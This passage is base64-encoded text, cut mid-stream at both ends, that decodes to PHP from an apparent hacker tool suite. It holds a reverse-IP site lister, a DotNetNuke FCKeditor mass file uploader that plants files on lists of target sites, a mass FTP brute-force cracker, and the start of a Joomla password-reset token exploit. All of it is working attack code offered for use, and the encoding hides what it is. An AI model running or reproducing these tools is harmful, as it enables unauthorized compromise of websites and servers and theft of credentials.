ZGV4LnBocD9vcHRpb249Y29tJmZpcnN0PScgLiAkbnBhZ2UpOw0KICAgICANCiAgICAgDQogICAgICAgIGlmICgkeCkNCiAgICAgICAgew0KICAgICAgICAgICAgcHJlZ19tYXRjaF9hbGwoJyg8ZGl2IGNsYXNzPSJzYl90bHN0Ij4uKjxoMz4uKjxhIGhyZWY9IiguKikiLio+KC4qKTwvYT4uKjwvaDM+Lio8L2Rpdj4pc2lVJywgJHgsICRmaW5kbGluayk7DQogICAgICAgICAgIA0KICAgICAgICAgICAgZm9yZWFjaCAoJGZpbmRsaW5rWzFdIGFzICRmbCkNCiAgICAgICAgICAgDQogICAgICAgICAgICAkYWxsTGlua3NbXT1zZWMoJGZsKTsNCiAgICAgICAgICAgDQogICAgICAgICAgIA0KICAgICAgICAgICAgJG5wYWdlID0gJG5wYWdlICsgMTA7DQogICAgICAgICAgIA0KICAgICAgICAgICAgaWYgKHByZWdfbWF0Y2goJyhmaXJzdD0nIC4gJG5wYWdlIC4gJyZhbXApc2lVJywgJHgsICRsaW5rc3VpdikgPT0gMCkNCiAgICAgICAgICAgICAgICBicmVhazsgICAgICAgICAgICAgIA0KICAgICAgICB9DQogICAgICAgDQogICAgICAgIGVsc2UNCiAgICAgICAgICAgIGJyZWFrOw0KICAgICAgfQ0KICAgICANCiAgICAgDQogICAgJGFsbERtbnMgPSBhcnJheSgpOw0KICAgICANCiAgICBmb3JlYWNoICgkYWxsTGlua3MgYXMgJGtrID0+ICR2dil7DQogICAgIA0KICAgICRhbGxEbW5zW10gPSAkdnY7DQogICAgfQ0KICAgICAgICAgICAgICAgDQogICAgZWNobyc8dGFibGUgYm9yZGVyPSIxIiAgd2lkdGg9XCI4MCVcIiBhbGlnbj1cImNlbnRlclwiPg0KICAgIDx0cj48dGQgd2lkdGg9XCIzMCVcIj48Yj5TZXJ2ZXIgSVAmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsgOiA8L2I+PC90ZD48dGQ+PGI+Jy4kaXAuJzwvYj48L3RkPjwvdHI+ICAgICAgICAgICAgDQogICAgPHRyPjx0ZCB3aWR0aD1cIjMwJVwiPjxiPlNpdGVzIEZvdW5kJm5ic3A7IDogPC9iPjwvdGQ+PHRkPjxiPicuY291bnQoYXJyYXlfdW5pcXVlKCRhbGxEbW5zKSkuJzwvYj48L3RkPjwvdHI+DQogICAgPC90YWJsZT4nOw0KICAgIGVjaG8gIjxicj48YnI+IjsNCiAgICAgDQogICAgZWNobyc8dGFibGUgYm9yZGVyPSIxIiB3aWR0aD0iODAlIiBhbGlnbj1cImNlbnRlclwiPic7DQogICAgIA0KICAgIGZvcmVhY2goYXJyYXlfdW5pcXVlKCRhbGxEbW5zKSBhcyAkaDNoMyl7DQogICAgIA0KICAgIGVjaG8nPHRyIGlkPW5ldz48dGQ+PGI+PGEgaHJlZj0nLiRoM2gzLic+Jy4kaDNoMy4nPC9hPjwvYj48L3RkPjx0ZD48Yj5FeHBsb2l0LWRiPC9iPjwvdGQ+PHRkPjxiPmNoYWxsZW5nZSBvZiBFeHBsb2l0aW5nIC4uITwvYj48L3RkPjwvdHI+JzsNCiAgICAgDQogICAgY2hlY2tfY29tKCRoM2gzKTsNCiAgICAgDQogICAgfQ0KICAgICANCiAgICBlY2hvIjwvdGFibGU+IjsNCiAgICAgDQogICAgfQ0KICAgID8+PC9jZW50ZXI+DQogICAgPGJyPjxwIGFsaWduPSJjZW50ZXIiPg0KICAgIE1hRGUgaW4gQWxnZXJpYSAocikNCiAgICA8L3A+DQogICAgPC9ib2R5Pg0KICAgICANCiAgICA8L2h0bWw+DQogICAgPD8NCiAgICAgICAgfQ0KICAgICAgICBpZiggJHJlZCA9PSAiZG90bnVrZSIgKSB7DQogICAgb2Jfc3RhcnQoKTsNCiAgICBzZXRfdGltZV9saW1pdCgwKTsNCiAgICAvKg0KICAgIERvdG51a2UgQnVnIEF1dG9tYXRpYyBVcGxvYWRlciAtIFByaXZhdGUgW01peWFDaHVuZ10NCiAgICBDb2RlZCBieSBNaXlhQ2h1bmcNCiAgICBNaXlhQ2h1bmdAaG90bWFpbC5jb20NCiAgICAqLw0KICAgIGNsYXNzIGZzb3sNCiAgICAgDQogICAgICAgICAgcHVibGljICRyZWdleCA9ICcvQSBGaWxlIE9uIFlvdXIgU2l0ZS8nOw0KICAgICAgICAgIHB1YmxpYyAkZWsgICAgPSAnL1Byb3ZpZGVycy9IdG1sRWRpdG9yUHJvdmlkZXJzL0Zjay9mY2tsaW5rZ2FsbGVyeS5hc3B4JzsNCiAgICAgICAgICBwdWJsaWMgJGFsICAgID0gIi9pZD1cIl9fVklFV1NUQVRFXCIgdmFsdWU9XCIoLio/KVwiLyI7DQogICAgICAgICAgcHVibGljICRrb2QgICA9ICdqYXZhc2NyaXB0Ol9fZG9Qb3N0QmFjaygiY3RsVVJMJGNtZFVwbG9hZCIsIiIpJzsNCiAgICAgICAgICBwdWJsaWMgJGRpemluID0gJy88b3B0aW9uIHNlbGVjdGVkPSJzZWxlY3RlZCIgdmFsdWU9IiguKj8pIj4oLio/KTxcL29wdGlvbj4vJzsNCiAgICAgICAgIA0KICAgICAgICAgDQogICAgICAgICAgcHVibGljIGZ1bmN0aW9uIGJhZ2xhbigkdXJsLCRkb3N5YSwkeWF6KXsNCiAgICAgICAgIA0KICAgICAgICAgICRjdXJsPWN1cmxfaW5pdCgpOw0KICAgICAgICAgIGN1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfVVJMLCR1cmwuJHRoaXMtPmVrKTsNCiAgICAgICAgICBjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX0hFQURFUiwwKTsNCiAgICAgICAgICBjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX1ZFUkJPU0UsMCk7DQogICAgICAgICAgY3VybF9zZXRvcHQoJGN1cmwsQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwxKTsNCiAgICAgICAgICBjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX1VTRVJBR0VOVCwnTW96aWxsYS81LjAgKFdpbmRvd3M7IFU7IFdpbmRvd3MgTlQgNS4xOyB0cjsgcnY6MS45LjIuMTMpIEdlY2tvLzIwMTAxMjAzIEZpcmVmb3gvMy42LjEzICggLk5FVCBDTFIgMy41LjMwNzI5OyAuTkVUNC4wRSknKTsNCiAgICAgICAgICBjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX0NPT0tJRUpBUiwnY29va2llLnR4dCcpOw0KICAgICAgICAgIGN1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfQ09PS0lFRklMRSwnY29va2llLnR4dCcpOw0KICAgICAgICAgIGN1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfRk9MTE9XTE9DQVRJT04sMSk7DQogICAgICAgICAgJGV4ZWMgPSBjdXJsX2V4ZWMoJGN1cmwpOw0KICAgICAgICAgIGN1cmxfY2xvc2UoJGN1cmwpOw0KICAgICAgICAgDQogICAgICAgICAgICAgaWYocHJlZ19tYXRjaCgkdGhpcy0+cmVnZXgsJGV4ZWMpKXsNCiAgICAgICAgIA0KICAgICAgICAgICAgIHByZWdfbWF0Y2hfYWxsKCR0aGlzLT5hbCwkZXhlYywkdmlldyk7DQogICAgICAgICAgICAgDQogICAgICAgICAgICAgJGJhZ2xhbl8yID0gc2VsZjo6YmFnbGFuXzIoJHVybC4kdGhpcy0+ZWssJHZpZXdbMV1bMF0pOw0KICAgICAgICAgICAgIA0KICAgICAgICAgICAgIHByZWdfbWF0Y2hfYWxsKCR0aGlzLT5kaXppbiwkYmFnbGFuXzIsJHlvbCk7DQogICAgICAgICAgICAgcHJlZ19tYXRjaF9hbGwoJHRoaXMtPmFsLCRiYWdsYW5fMiwkZ29zdGVyKTsNCiAgICAgICAgICAgICANCiAgICAgICAgICAgICAkYmFnbGFuXzMgPSBzZWxmOjpiYWdsYW5fMygkdGhpcy0+a29kKTsNCiAgICAgDQogICAgICAgICAgICAgJGJhZ2xhbl80ID0gc2VsZjo6YmFnbGFuXzQoJHVybC4kdGhpcy0+ZWssJHlvbFsxXVswXSwkZG9zeWEsJGdvc3RlclsxXVswXSk7DQogICAgICAgDQogICAgIA0KICAgICAgICAgICAgICAgICRyZWcgPSAnLycuJHlhei4nLyc7DQogICAgICAgDQogICAgICAgaWYocHJlZ19tYXRjaCgkcmVnLCRiYWdsYW5fNCkpew0KICAgICAgIA0KICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgJHVybCA9ICR1cmwuIi9Qb3J0YWxzLzAvIi4keW9sWzFdWzBdLiR5YXo7DQogICAgIA0KICAgICAgICAgICAgIGVjaG8gJzxhIGhyZWY9IicuJHVybC4nIj4nLiR1cmwuJzwvYT48YnI+JzsNCiAgICAgICAgICAgICAgICBvYl9mbHVzaCgpOw0KICAgICAgICAgICAgICAgIGZsdXNoKCk7DQogICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAka2F5ZGV0ID0gZm9wZW4oJ2R1c2VubGVyLnR4dCcsJ2FiJyk7DQogICAgICAgICAgICAgICAgZndyaXRlKCRrYXlkZXQsJHVybC4iXHJcbiIpOw0KICAgICAgICAgICAgICAgIGZjbG9zZSgka2F5ZGV0KTsNCiAgICAgICAgIA0KICAgICAgICAgICAgIH0NCiAgICAgICAgIA0KICAgICAgICAgICAgIA0KICAgICAgICAgICAgIH0NCiAgICAgDQogICAgICAgICANCiAgICAgICAgICB9DQogICAgICAgICAgcHVibGljIGZ1bmN0aW9uIGJhZ2xhbl8yKCR1cmwsJHZpZXcpew0KICAgICAgICAgDQogICAgICAgICANCiAgICAgICAgICAkcG9zdCA9IGFycmF5KCdfX0VWRU5UVEFSR0VUJz0+J2N0bFVSTCRvcHRUeXBlJDInLCdfX0VWRU5UQVJHVU1FTlQnPT4nJywnX19MQVNURk9DVVMnPT4nJywnY3RsVVJMJG9wdFR5cGUnPT4nRicsJ2N0bFVSTCR0eHRVcmwnPT4naHR0cDovLycsJ19fVklFV1NUQVRFJz0+JycuJHZpZXcuJycpOw0KICAgICAgICAgDQogICAgICAgICANCiAgICAgICAgICAkY3VybD1jdXJsX2luaXQoKTsNCiAgICAgICAgICBjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX1VSTCwkdXJsKTsNCiAgICAgICAgICBjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLDEpOw0KICAgICAgICAgIGN1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfSEVBREVSLDApOw0KICAgICAgICAgIGN1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfVkVSQk9TRSwwKTsNCiAgICAgICAgICBjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX1VTRVJBR0VOVCwnTW96aWxsYS81LjAgKFdpbmRvd3M7IFU7IFdpbmRvd3MgTlQgNS4xOyB0cjsgcnY6MS45LjIuMTMpIEdlY2tvLzIwMTAxMjAzIEZpcmVmb3gvMy42LjEzICggLk5FVCBDTFIgMy41LjMwNzI5OyAuTkVUNC4wRSknKTsNCiAgICAgICAgICBjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX0NPT0tJRUpBUiwnY29va2llLnR4dCcpOw0KICAgICAgICAgIGN1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfQ09PS0lFRklMRSwnY29va2llLnR4dCcpOw0KICAgICAgICAgIGN1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfRk9MTE9XTE9DQVRJT04sMSk7DQogICAgICAgICAgY3VybF9zZXRvcHQoJGN1cmwsQ1VSTE9QVF9QT1NULDEpOw0KICAgICAgICAgIGN1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfUE9TVEZJRUxEUywkcG9zdCk7DQogICAgICAgICAgJGV4ZWMgPSBjdXJsX2V4ZWMoJGN1cmwpOw0KICAgICAgICAgIGN1cmxfY2xvc2UoJGN1cmwpOw0KICAgICAgICAgDQogICAgICAgICAgcmV0dXJuICRleGVjOw0KICAgICAgICAgDQogICAgICAgICAgfQ0KICAgICAgICAgIHB1YmxpYyBmdW5jdGlvbiBiYWdsYW5fMygka29kKXsNCiAgICAgICAgIA0KICAgICAgICAgICRjdXJsPWN1cmxfaW5pdCgpOw0KICAgICAgICAgIGN1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfVVJMLCRrb2QpOw0KICAgICAgICAgIGN1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsMSk7DQogICAgICAgICAgY3VybF9zZXRvcHQoJGN1cmwsQ1VSTE9QVF9IRUFERVIsMCk7DQogICAgICAgICAgY3VybF9zZXRvcHQoJGN1cmwsQ1VSTE9QVF9WRVJCT1NFLDApOw0KICAgICAgICAgIGN1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfVVNFUkFHRU5ULCdNb3ppbGxhLzUuMCAoV2luZG93czsgVTsgV2luZG93cyBOVCA1LjE7IHRyOyBydjoxLjkuMi4xMykgR2Vja28vMjAxMDEyMDMgRmlyZWZveC8zLjYuMTMgKCAuTkVUIENMUiAzLjUuMzA3Mjk7IC5ORVQ0LjBFKScpOw0KICAgICAgICAgIGN1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfQ09PS0lFSkFSLCdjb29raWUudHh0Jyk7DQogICAgICAgICAgY3VybF9zZXRvcHQoJGN1cmwsQ1VSTE9QVF9DT09LSUVGSUxFLCdjb29raWUudHh0Jyk7DQogICAgICAgICAgY3VybF9zZXRvcHQoJGN1cmwsQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwxKTsNCiAgICAgICAgICAkZXhlYz1jdXJsX2V4ZWMoJGN1cmwpOw0KICAgICAgICAgIGN1cmxfY2xvc2UoJGN1cmwpOw0KICAgICAgICAgIHJldHVybiAkZXhlYzsNCiAgICAgICAgICB9DQogICAgICAgICAgcHVibGljIGZ1bmN0aW9uIGJhZ2xhbl80KCR1cmwsJGZvbGRlciwkZmlsZSwkdmlldyl7DQogICAgICAgICAgICAgICANCiAgICAkcG9zdCA9IGFycmF5KA0KICAgICdfX0VWRU5UVEFSR0VUJz0+J2N0bFVSTCRjbWRTYXZlJywNCiAgICAnX19FVkVOVEFSR1VNRU5UJz0+JycsDQogICAgJ19fTEFTVEZPQ1VTJz0+JycsDQogICAgJ2N0bFVSTCRvcHRUeXBlJz0+J0YnLA0KICAgICdjdGxVUkwkY2JvRm9sZGVycyc9PicnLiRmb2xkZXIuJycsDQogICAgJ2N0bFVSTCR0eHRGaWxlJz0+J0AnLiRmaWxlLicnLA0KICAgICdfX1ZJRVdTVEFURSc9PicnLiR2aWV3LicnKTsgICAgDQogICAgICAgICANCiAgICAgICAgICAkY3VybD1jdXJsX2luaXQoKTsNCiAgICAgICAgICBjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX1VSTCwkdXJsKTsNCiAgICAgICAgICBjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLDEpOw0KICAgICAgICAgIGN1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfSEVBREVSLDApOw0KICAgICAgICAgIGN1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfVkVSQk9TRSwwKTsNCiAgICAgICAgICBjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX1JFRkVSRVIsJHVybC4kdGhpcy0+ZWspOw0KICAgICAgICAgIGN1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfVVNFUkFHRU5ULCdNb3ppbGxhLzUuMCAoV2luZG93czsgVTsgV2luZG93cyBOVCA1LjE7IHRyOyBydjoxLjkuMi4xMykgR2Vja28vMjAxMDEyMDMgRmlyZWZveC8zLjYuMTMgKCAuTkVUIENMUiAzLjUuMzA3Mjk7IC5ORVQ0LjBFKScpOw0KICAgICAgICAgIGN1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfQ09PS0lFSkFSLCdjb29raWUudHh0Jyk7DQogICAgICAgICAgY3VybF9zZXRvcHQoJGN1cmwsQ1VSTE9QVF9DT09LSUVGSUxFLCdjb29raWUudHh0Jyk7DQogICAgICAgICAgY3VybF9zZXRvcHQoJGN1cmwsQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwxKTsNCiAgICAgICAgICBjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX1BPU1QsMSk7DQogICAgICAgICAgY3VybF9zZXRvcHQoJGN1cmwsQ1VSTE9QVF9QT1NURklFTERTLCRwb3N0KTsNCiAgICAgICAgICAkZXhlYyA9IGN1cmxfZXhlYygkY3VybCk7DQogICAgICAgICAgY3VybF9jbG9zZSgkY3VybCk7DQogICAgICAgICANCiAgICByZXR1cm4gJGV4ZWM7DQogICAgICAgICAgfQ0KICAgICANCiAgICAgDQogICAgfQ0KICAgICANCiAgICBlY2hvICc8Y2VudGVyPjx0aXRsZT5Eb3RudWtlIFRvcGx1IEZpbGUgVXBsb2FkIC0gUHJpdmF0ZSBbTWl5YUNodW5nXTwvdGl0bGU+DQogICAgPGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249IiIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSI+DQogICAgU2l0ZWxlciA7IDxicj48aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0ic2l0ZWxlciI+PGJyPkRvc3lhbiA7IDxicj48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZmlsZSI+PGJyPg0KICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InNjYW4iIHZhbHVlPSJTY2FuIj4NCiAgICA8L2Zvcm0+DQogICAgPC9jZW50ZXI+JzsNCiAgICAgDQogICAgaWYoaXNzZXQoJF9QT1NUWydzY2FuJ10pKXsNCiAgICAgDQogICAgJGZzbyA9IG5ldyBmc28oKTsNCiAgICAgDQogICAgJGZpbGUgPSAkX1BPU1RbJ2ZpbGUnXTsNCiAgICAgDQogICAgJGRpcj0kX1NFUlZFUlsiRE9DVU1FTlRfUk9PVCJdLiIvIi4kZmlsZTsNCiAgICAgDQogICAgJHNpdGVsZXIgPSBleHBsb2RlKCJcbiIsZmlsZV9nZXRfY29udGVudHMoJF9GSUxFU1sic2l0ZWxlciJdWyJ0bXBfbmFtZSJdKSk7DQogICAgIA0KICAgICAgIGZvcmVhY2goJHNpdGVsZXIgYXMgJHNpdGVzKXsNCiAgICAgICANCiAgICAgICAkc2l0ZXMgPSB0cmltKCRzaXRlcyk7DQogICAgICAgDQogICAgICAgJGZzby0+YmFnbGFuKCRzaXRlcywkZGlyLCRmaWxlKTsNCiAgICAgICANCiAgICAgICB9DQogICAgIA0KICAgIH0NCiAgICAgDQogICAgICAgIH0NCiAgICAgICAgaWYoICRyZWQgPT0gIm1hc3NmdHAiICkgew0KICAgID8+DQogICAgPGNlbnRlcj4NCiAgICA8dGl0bGU+TWFzcyBGVFAgQ3JhY2tlciAtIFByaXZhdGUgW01peWFDaHVuZ108L3RpdGxlPg0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSIiPg0KICAgIEhvc3RzIDogPGJyPg0KICAgIDx0ZXh0YXJlYSBuYW1lPSJob3N0IiBjb2xzPSIyMCIgcm93cz0iNCI+PC90ZXh0YXJlYT48YnI+DQogICAgVXNlcnMgOiA8YnI+DQogICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InVzZXJzIj48YnI+DQogICAgUGFzc3dvcmRzIDogPGJyPg0KICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJwYXNzd29yZHMiPjxicj4NCiAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJDcmFjayI+DQogICAgPC9mb3JtPg0KICAgIDwvY2VudGVyPg0KICAgIDw/cGhwDQogICAgLyoNCiAgICBNYXNzIEZUUCBDcmFja2VyICgpDQogICAgTWl5YUNodW5nDQogICAgTWl5YUNodW5nQGhvdG1haWwuY29tDQogICAgKi8NCiAgICBzZXRfdGltZV9saW1pdCgwKTsNCiAgICBvYl9zdGFydCgpOw0KICAgIGlmKGlzc2V0KCRfUE9TVFsnc3VibWl0J10pKXsNCiAgICBpZihlbXB0eSgkX1BPU1RbJ2hvc3QnXSkpe2VjaG8gJ0hvc3QgbGlzdGVzaW5pIGRvbGR1cnVuLjxicj4nO30NCiAgICBpZihlbXB0eSgkX1BPU1RbJ3VzZXJzJ10pKXtlY2hvICdVc2VycyBsaXN0ZXNpbmkgZG9sZHVydW48YnI+Jzt9DQogICAgaWYoZW1wdHkoJF9QT1NUWydwYXNzd29yZHMnXSkpe2VjaG8gJ1Bhc3N3b3JkcyBsaXN0ZXNpbmkgZG9sZHVydW4nO30NCiAgICAkaG9zdHM9ZXhwbG9kZSgiXG4iLCRfUE9TVFsiaG9zdCJdKTsNCiAgICAkdXNlcnM9ZXhwbG9kZSgiXG4iLGZpbGVfZ2V0X2NvbnRlbnRzKCRfUE9TVFsndXNlcnMnXSkpOw0KICAgICRwYXNzPWV4cGxvZGUoIlxuIixmaWxlX2dldF9jb250ZW50cygkX1BPU1RbInBhc3N3b3JkcyJdKSk7DQogICAgIA0KICAgIGVjaG8gJzxjZW50ZXI+Q3JhY2tpbmcgU3RhcnRlZCxQbGVhc2Ugd2FpdC4uLjwvY2VudGVyPjxicj4nOw0KICAgIGZvcmVhY2goJGhvc3RzIGFzICRob3N0bGFyKXsNCiAgICAkaG9zdHM9dHJpbSgkaG9zdGxhcik7DQogICAgZm9yZWFjaCgkdXNlcnMgYXMgJHVzZXJsZXIpew0KICAgICR1c2Vyej10cmltKCR1c2VybGVyKTsNCiAgICBmb3JlYWNoKCRwYXNzIGFzICRwYXNzbGFyKXsNCiAgICAkcGFzc3dvcmRzPXRyaW0oJHBhc3NsYXIpOw0KICAgICRjdXJsID0gY3VybF9pbml0KCk7DQogICAgY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfSFRUUEFVVEgsIENVUkxBVVRIX0JBU0lDKTsNCiAgICBjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9VUkwsICdmdHA6Ly8nLiR1c2Vyei4nOicuJHBhc3N3b3Jkcy4nQCcuJGhvc3RzLicnKTsNCiAgICBjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7DQogICAgY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfRlRQTElTVE9OTFksMSk7DQogICAgJGV4ZWMgPSBjdXJsX2V4ZWMoJGN1cmwpOyAgDQogICAgIA0KICAgIGlmKGN1cmxfZXJybm8oJGN1cmwpPT0wKXsNCiAgICBlY2hvICI8Y2VudGVyPiIuJGhvc3RzLiIgLSAiLiR1c2Vyei4iIC0gIi4kcGFzc3dvcmRzLiIgRm91bmQuPC9jZW50ZXI+PGJyPiI7DQogICAgb2JfZmx1c2goKTsNCiAgICBmbHVzaCgpOw0KICAgIGN1cmxfY2xvc2UoJGN1cmwpOw0KICAgIH0NCiAgICB9DQogICAgfQ0KICAgIH0NCiAgICAgDQogICAgIA0KICAgIH0NCiAgICA/Pg0KICAgIDw/DQogICAgICAgIH0NCiAgICAgICAgaWYoICRyZWQgPT0gImpvb210IiApIHsNCiAgICA/Pg0KICAgIDw/cGhwDQogICAgb2Jfc3RhcnQoKTsNCiAgICBlcnJvcl9yZXBvcnRpbmcoMCk7DQogICAgc2V0X3RpbWVfbGltaXQoMCk7DQogICAgaWYgKCFleHRlbnNpb25fbG9hZGVkKGN1cmwpKXtkaWUoIjxiPkN1cmwgTm90IFN1cHBvcnRlZCBQbGVhc2UgQ3VybCBMaWJyYXJ5IFVwbG9hZDwvYj4iKTt9DQogICAgZWNobyc8IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1czQy8vRFREIFhIVE1MIDEuMCBUcmFuc2l0aW9uYWwvL0VOIiAiaHR0cDovL3d3dy53My5vcmcvVFIveGh0bWwxL0RURC94aHRtbDEtdHJhbnNpdGlvbmFsLmR0ZCI+DQogICAgPGh0bWwgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiPg0KICAgICANCiAgICA8aGVhZD4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LUxhbmd1YWdlIiBjb250ZW50PSJ0ciIgLz4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD11dGYtOCIgLz4NCiAgICA8dGl0bGU+Sm9vbWxhIFRva2VuPC90aXRsZT4NCiAgICA8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KICAgIC5zdHlsZTEgew0KICAgICAgIHRleHQtYWxpZ246IGNlbnRlcjsNCiAgICB9DQogICAgLnN0eWxlMiB7DQogICAgICAgdGV4dC1hbGlnbjogY2VudGVyOw0KICAgICAgIGZvbnQtc2l6ZTogbGFyZ2U7DQogICAgfQ0KICAgIDwvc3R5bGU+DQogICAgPC9oZWFkPg0KICAgICANCiAgICA8Ym9keT4NCiAgICAgDQogICAgPHAgY2xhc3M9InN0eWxlMiI+PHN0cm9uZz5Kb29tbGEgVG9rZW48L3N0cm9uZz48L3A+DQogICAgPGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249IiI+DQogICAgICAgPGRpdiBjbGFzcz0ic3R5bGUxIj4NCiAgICAgICAgICA8dGV4dGFyZWEgbmFtZT0idG9rZW4iIHN0eWxlPSJoZWlnaHQ6IDEyMHB4OyB3aWR0aDogNDk5cHgiPjwvdGV4dGFyZWE+PGJyIC8+DQogICAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlRhcmEiIC8+PGJyPjxicj5Kb29tbGEgVG9rZW48L2Rpdj4NCiAgICA8L2Zvcm0+DQogICAgIA0KICAgIDwvYm9keT4NCiAgICAgDQogICAgPC9odG1sPic7DQogICAgY2xhc3MgU2VhcmNoZXINCiAgICB7DQogICAgICAgcHJpdmF0ZSAka29kbGFyOw0KICAgICAgIHByaXZhdGUgJGVrbGU7DQogICAgICAgcHJpdmF0ZSAkZWtsZXg7DQogICAgICAgcHJpdmF0ZSAkdmVyaTsNCiAgICAgICANCiAgICAgICBwdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoKQ0KICAgICAgIHsNCiAgICAgICAgICAkdGhpcy0+a29kbGFyPW51bGw7DQogICAgICAgICAgJHRoaXMtPnZlcmk9bnVsbDsNCiAgICAgICAgICAkdGhpcy0+ZWtsZT0iLz9vcHRpb249Y29tX3VzZXImdmlldz1yZXNldCZsYXlvdXQ9Y29uZmlybSI7DQogICAgICAgICAgJHRoaXMtPmVrbGV4PSIvP29wdGlvbj1jb21fdXNlciZ0YXNrPWNvbmZpcm1yZXNldCI7DQogICAgICAgfQ0KICAgICAgIHByaXZhdGUgZnVuY3Rpb24gYmFnbGFuKCR1cmwpDQogICAgICAgew0KICAgICAgICAgICRiYWdsYW49Y3VybF9pbml0KCk7DQogICAgICAgICAgICAgY3VybF9zZXRvcHQoJGJhZ2xhbiwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7DQogICAgICAgICAgICAgY3VybF9zZXRvcHQoJGJhZ2xhbiwgQ1VSTE9QVF9VUkwsJHVybCk7DQogICAgICAgICAgICAgY3VybF9zZXRvcHQoJGJhZ2xhbiwgQ1VSTE9QVF9VU0VSQUdFTlQsICdNb3ppbGxhLzUuMCAoV2luZG93czsgVTsgV2luZG93cyBOVCA1LjE7IGVuLVVTOyBydjoxLjguMS4xNSkgR2Vja28vMjAwODExMTMxNyAgRmlyZWZveC8zLjAuNCcpOw0KICAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRiYWdsYW4sIENVUkxPUFRfQ09PS0lFSkFSLCAnZG9zeWEudHh0Jyk7DQogICAgICAgICAgICAgY3VybF9zZXRvcHQoJGJhZ2xhbiwgQ1VSTE9QVF9DT09LSUVGSUxFLCAnZG9zeWEudHh0Jyk7DQogICAgICAgICAgICAgJHRoaXMtPmtvZGxhcj1jdXJsX2V4ZWMoJGJhZ2xhbik7DQogICAgICAgICAgICAgY3VybF9jbG9zZSgkYmFnbGFuKTsNCiAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPmtvZGxhcjsNCiAgICAgICB9DQogICAgICAgcHJpdmF0ZSBmdW5jdGlvbiBwb3N0YWxhKCRzaXRlKQ0KICAgICAgIHsNCiAgICAgICAgICAkYWRyZXM9JHNpdGUuJHRoaXMtPmVrbGU7DQogICAgICAgICAgJGhhc2g9c2VsZjo6aGFzaEJ1bCgkYWRyZXMpOw0KICAgICAgICAgICR1cmw9JHNpdGUuJHRoaXMtPmVrbGV4Ow0KICAgICAgICAgICRiYWdsYW49Y3VybF9pbml0KCk7DQogICAgICAgICAgICAgY3VybF9zZXRvcHQoJGJhZ2xhbiwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7DQogICAgICAgICAgICAgY3VybF9zZXRvcHQoJGJhZ2xhbiwgQ1VSTE9QVF9VUkwsJHVybCk7DQogICAgICAgICAgICAgY3VybF9zZXRvcHQoJGJhZ2xhbiwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMSk7DQogICAgICAgICAgICAgY3VybF9zZXRvcHQoJGJhZ2xhbiwgQ1VSTE9QVF9DT09LSUVKQVIsICdkb3N5YS50eHQnKTsNCiAgICAgICAgICAgICBjdXJsX3NldG9wdCgkYmFnbGFuLCBDVVJMT1BUX0NPT0tJRUZJTEUsICdkb3N5YS50eHQnKTsNCiAgICAgICAgICAgICBjdXJsX3Nl